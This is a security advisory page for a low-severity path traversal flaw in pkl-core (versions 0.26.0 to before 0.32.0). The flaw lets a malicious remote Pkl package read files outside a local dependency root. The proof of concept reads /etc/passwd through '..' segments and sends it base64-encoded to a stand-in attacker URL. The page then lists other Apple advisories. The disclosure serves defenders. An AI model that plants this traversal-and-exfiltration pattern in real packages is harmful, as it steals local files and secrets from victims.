Remote packages can read files past a local package dependency root
LowPublished Jul 8, 2026
### Summary A malicious remote Pkl package can escape a victim project's mapped local dependency root by placing `..` traversal segments in dependency notation such as `@localdep/../project/secret.pkl` or `read("@localdep/../outside/secret.txt")`. The vulnerable code rewrites a `projectpackage:` URI for a local dependency into a local `file:` URI without verifying that the normalized path still stays under the declared local dependency directory. Once a victim project depends on both an attacker-controlled remote package and a local dependency mapped in `PklProject`, the attacker-controlled package can import arbitrary local Pkl modules and read arbitrary local files outside the local dependency root. This is a trust-boundary bypass between remote packages and local project files. In practical terms, a malicious package can exfiltrate secrets, import local-only modules, and access files the remote package should never be able to reach through the declared dependency alias. ### PoC An attacker's malicious package can publish a module like so: ```pkl results = read("@dep/../../../../../../../etc/passwd") sendContentsHome = read("https://my.malicious.site/?\(results.base64)") ``...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| org.pkl-lang:pkl-core Maven | >= 0.26.0, < 0.32.0 | 0.32.0 |
Details and references
### Summary A malicious remote Pkl package can escape a victim project's mapped local dependency root by placing `..` traversal segments in dependency notation such as `@localdep/../project/secret.pkl` or `read("@localdep/../outside/secret.txt")`. The vulnerable code rewrites a `projectpackage:` URI for a local dependency into a local `file:` URI without verifying that the normalized path still stays under the declared local dependency directory. Once a victim project depends on both an attacker-controlled remote package and a local dependency mapped in `PklProject`, the attacker-controlled package can import arbitrary local Pkl modules and read arbitrary local files outside the local dependency root. This is a trust-boundary bypass between remote packages and local project files. In practical terms, a malicious package can exfiltrate secrets, import local-only modules, and access files the remote package should never be able to reach through the declared dependency alias. ### PoC An attacker's malicious package can publish a module like so: ```pkl results = read("@dep/../../../../../../../etc/passwd") sendContentsHome = read("https://my.malicious.site/?\(results.base64)") ``` For this attack to be successful, the following must be true: 1. The victim declares a dependency on the attacker's package. 2. The victim declares a local dependency with the same coordinates as the attacker's transitive dependency (what attacker calls `dep` in the above snippet). 3. The victim sets up an insufficient `--root-dir` sandbox flag. 4. The victim's Pkl evaluator calls the malicious code paths within the attacks' Pkl module. ### Impact This impacts users that declare dependencies on malicious (possibly compromised) Pkl packages.
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-23
More Apple advisories
All Apple| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Jul 17 | Unauthenticated out-of-bounds stack write via oversized ECDSA signature in swift-nio-ssh | Critical | 0.14.1 |
| Jul 16 | Double-free when parsing RSA public key fails | Critical | 4.5.1 |
| Jul 15 | Accessing bytes of non-string SAN can lead to out-of-bounds memory read | Critical | 2.37.2 |
| Jul 9 | Apple FileMaker Server: code execution | Medium4.9 | 26.0.1 |
| Jul 9 | DoS via WebSocket frame with oversize 64-bit payload length field (Int trap in WebSocketFrameDecoder) | High7.5 | 2.101.0 |
| Jul 8 | Packages can be read/written outside the configured cache directory | Medium | 0.32.0 |